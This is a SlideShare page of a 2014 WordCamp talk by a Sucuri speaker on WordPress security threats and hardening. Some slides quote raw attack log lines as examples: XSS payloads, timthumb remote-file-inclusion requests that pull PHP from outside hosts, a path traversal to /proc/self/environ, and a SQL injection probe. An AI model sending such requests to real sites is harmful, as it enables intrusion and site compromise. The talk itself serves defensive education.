WordCamp Minneapolis 2014 - Website Security Presentation - Sucuri Security

2,481 views

Published on

0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
2,481
On SlideShare
0
From Embeds
0
Number of Embeds
12
Actions
Shares
0
Downloads
32
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide

WordCamp Minneapolis 2014 - Website Security Presentation - Sucuri Security

  1. 1. Website Security (WordPress)
  2. 2.  Organization  Sucuri, Inc.  @sucuri_security  @perezbox  Specialization:  Website Security  Incident Handling  Special Interests:  Brazilian JiuJitsu Tony Perez | @perezbox | @sucuri_security4/29/2014 2
  3. 3.  Website Security Company  GlobalOperations  PlatformAgnostic (i.e., Joomla,WordPress, etc..)  Scan 2M Unique Domains a Month  Block 4M web attacks a Month  Remediate 400 – 500 websites a day  Signature / Heuristic Based  24/7 operations 4/29/2014 Tony Perez | @perezbox | @sucuri_security 3
  4. 4.  Trends  Threats  Defenses 4/29/2014 Tony Perez | @perezbox | @sucuri_security 4 SIMPLE RIGHT?
  5. 5. Tony Perez | @perezbox | @sucuri_security4/29/2014 5
  6. 6. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 6 Data Breaches (Millions) 2011 2013
  7. 7. MaliciousWebsites LegitimateWebsites 4/29/2014 Tony Perez | @perezbox | @sucuri_security 7
  8. 8. Not-Exploitable Exploitable 4/29/2014 Tony Perez | @perezbox | @sucuri_security 8 1 in 8 - CriticalVulnerability
  9. 9. 26% 19% 16% 14% 11% 4% 10% Remote iFrame Includes Remote JavaScript Includes SPAM Injections Obfuscated / Encoded JavaScript Conditional Redirects Defacements Other 4/29/2014 Tony Perez | @perezbox | @sucuri_security 10
  10. 10. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 11
  11. 11. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 12
  12. 12. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 13 Darkleech Cdork (Apache) Ebury (SSH) Email Server (SPAM)  Going Deeper than the application layer, targeting the server.  Server Polymorphism – a.k.a highly adaptive / sophistication Heartbleed (OpenSSL)
  13. 13. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 14
  14. 14.  Pharmacy  Payday Loans 4/29/2014 Tony Perez | @perezbox | @sucuri_security 16
  15. 15. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 17  ExploitingAccess Control
  16. 16. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 18 Site 1 Site 2Site 3 Site 4 Cross-Site Contamination
  17. 17. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 19
  18. 18. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 20
  19. 19. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 21
  20. 20. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 22
  21. 21. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 23
  22. 22. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 24
  23. 23. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 25
  24. 24. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 26
  25. 25.  Explosion in the Malware as a Service (MaaS) trade  Yes, pay someone to hack for you  Different tools to break in and generate payloads  Brute force and vulnerability exploits Malware Payloads  Blackhole ExploitAuthor Arrested 4/29/2014 Tony Perez | @perezbox | @sucuri_security 27
  26. 26. 25% 22% 9% 1% 11% 5% 12% 10% 5%0% Neutrino Unknown Kit Redkit SweetOrange Styx Glazunov/Sibhost Nuclear Blackhole/Cool Other 4/29/2014 Tony Perez | @perezbox | @sucuri_security 28
  27. 27. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 29
  28. 28. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 30
  29. 29. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 31  Use for malware?  Burrow into network?  Steal data? What kind of website do you have?
  30. 30. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 32
  31. 31. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 33 38.123.140.6 - - [18/Feb/2013:18:23:23 -0500] "GET /cgi-bin/viewcvs.cgi/?cvsroot=<script>foo</script> HTTP/1.1" 302 227 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" 123.151.39.41 - - [18/Mar/2013:16:20:12 -0400] "GET /art/all/animals/%3C%2Fscript%3E%3Cimg+src%3D%40+onerror%3Dalert%287872%29+%2F%3E HTTP/1.1" 404 268  Stored  Reflective
  32. 32. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 34
  33. 33. [02/Apr/2013:00:32:58 -0400] "GET /results/wp-content/themes/Convertible/timthumb.php?src=http%3A%2F%2Fflickr.easyneffective.com%2Fcrotz.php HTTP/1.1" 200 11983 "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0” 83.170.99.221 - - [03/Apr/2013:13:03:16 -0400] "GET /results/chinchedbistro.com&amp;sa=U&amp;ei=vGBcUYS1IcOaiQLxu4HIBg&amp;ved=0CCYQFjAE&amp;usg=AFQjCNFN1APEnX9- WPS337kMyPUz0yDM8A/wp-content/themes/vulcan/lib/scripts/thumb.php?src=http://wordpress.com.4creatus.com/info.php HTTP/1.1" 200 11983 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6” 82.98.131.101 - - [03/Apr/2013:12:59:56 -0400] "GET /?option=com_ckforms&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 4/29/2014 Tony Perez | @perezbox | @sucuri_security 35
  34. 34. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 36 62.122.71.181 - - [03/Apr/2013:05:24:22 -0400] "GET //?malware-999.9+union+select+0-- HTTP/1.1" 200 26336 "-" "Mozilla/5.0 (Windows NT;en-us) Firefox/3.5.9”
  35. 35. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 37
  36. 36. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 38
  37. 37.  http://blog.sucuri.net/2014/03/unmasking-free-premium- wordpress-plugins.html 4/29/2014 Tony Perez | @perezbox | @sucuri_security 39 - SEOPresser - Payload located: wp-content/plugins/seo-pressor(gratuit) - File: central.class.php - Flat Skins Pack Extension - Payload located: wp-content/restrict-content-pro/includes/ - File: sidebar.php - Restrict Content Pro - Paylaod located: wp-content/ubermenu-skins-flat
  38. 38.  Brand Reputation  Legal Implications  Impact to Sales  Blacklisted by Search Engines  Blacklisted by Payment processors  Worst Day Of your Life 4/29/2014 Tony Perez | @perezbox | @sucuri_security 40
  39. 39. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 41
  40. 40.  Sucuri properties suffer:  ~125,000 web based attacks a month on average  ~4,000 attacks a day ▪ This spikes on occasion  Doesn’t include server level attacks  All flavors of attacks 4/29/2014 Tony Perez | @perezbox | @sucuri_security 42
  41. 41.  Principles  Access Control  Vulnerabilities 4/29/2014 Tony Perez | @perezbox | @sucuri_security 43
  42. 42. “It’s about risk reduction… risk will never be zero…” 4/29/2014 Tony Perez | @perezbox | @sucuri_security 44
  43. 43. “…a concept in which multiple layers of security controls (defenses) are placed throughout an information technology (IT) system. Its intent is to provide redundancy in the event a security control fails or a vulnerability is exploited…” 4/29/2014 Tony Perez | @perezbox | @sucuri_security 45
  44. 44.  Passwords 4/29/2014 Tony Perez | @perezbox | @sucuri_security 46 Complex – Long - Unique
  45. 45. “requires that in a particular abstraction layer of a computing environment, every module (such as a process, a user or a program depending on the subject) must be able to access only the information and resources that are necessary for its legitimate purpose.” 4/29/2014 Tony Perez | @perezbox | @sucuri_security 47
  46. 46. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 48  PHP Execution, disable it:  /wp-includes  /wp-content  /themes  /plugins  /uploads <Files *.php> Deny from all </Files>
  47. 47.  WP-CONFIG File Modification #Disable Plugin /Theme Editor Define(‘DISALLOW_FILE_EDIT’,true); 4/29/2014 Tony Perez | @perezbox | @sucuri_security 49
  48. 48. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 50
  49. 49. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 51 NOTTHAT HARD!!!!
  50. 50. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 52
  51. 51. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 53
  52. 52. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 54 1. Employ Website Firewall 2. Don’t let WordPress write to itself 3. Filter Access by IP 4. Use a dedicated server / VPS 5. Monitor all Activity (Logging) 6. Enable SSL for transactions 7. Keep environment current (patched) 8. No Soup Kitchen Servers Ideal implementations: 1. Connect Securely – SFTP / SSH 2. Authentication Keys / wp- config 3. Use Trusted Sources 4. Use a local Antivirus – MAC too 5. Permissions - D 755 | F 644 6. Least Privileged Principles 7. Accountability 8. Backups – Include Database The Bare Minimum:
  53. 53. 1. Fix index.php file and assume all is fine. 1. Panic your way into WordPress Forums after hack. 1. Don’t worry about updating. 1. Trust third-party extensions. 1. Apply all upgrades on live site. 1. Install and forget, all is well with your new site. 1. Use the same username and password for everything. 1. Don’t waste time making security adjustments to PHP and settings. 1. No regular backups required. 1. Use the cheapest host. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 55
  54. 54. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 56 Name Tool Sucuri Blog http://blog.sucuri.net SucuriTV http://sucuri.tv Malware Scanner http://sitecheck.sucuri.net Malware Scanner http://unmaskparasites.com Badware Busters https://badwarebusters.org Google Forums http://productforums.google.com/forum/#!categories/webmasters/malware--hacked- sites GoogleWebmasterTools http://support.google.com/webmasters/bin/answer.py?hl=en&answer=163633 Secunia SecurityAdvisories http://secunia.com/community/advisories/search/?search=wordpress Exploit-DB http://www.exploit- db.com/search/?action=search&filter_description=Wordpress&filter_platform=31 WordPress Hacked FAQ http://codex.wordpress.org/FAQ_My_site_was_hacked WordPress Hardening http://codex.wordpress.org/Hardening_WordPress
  55. 55. 4/29/2014 Tony Perez | @perezbox | @sucuri_security 57 Sucuri, Inc. Tony Perez http://sucuri.net http://blog.sucuri.net @perezbox | @sucuri_security

×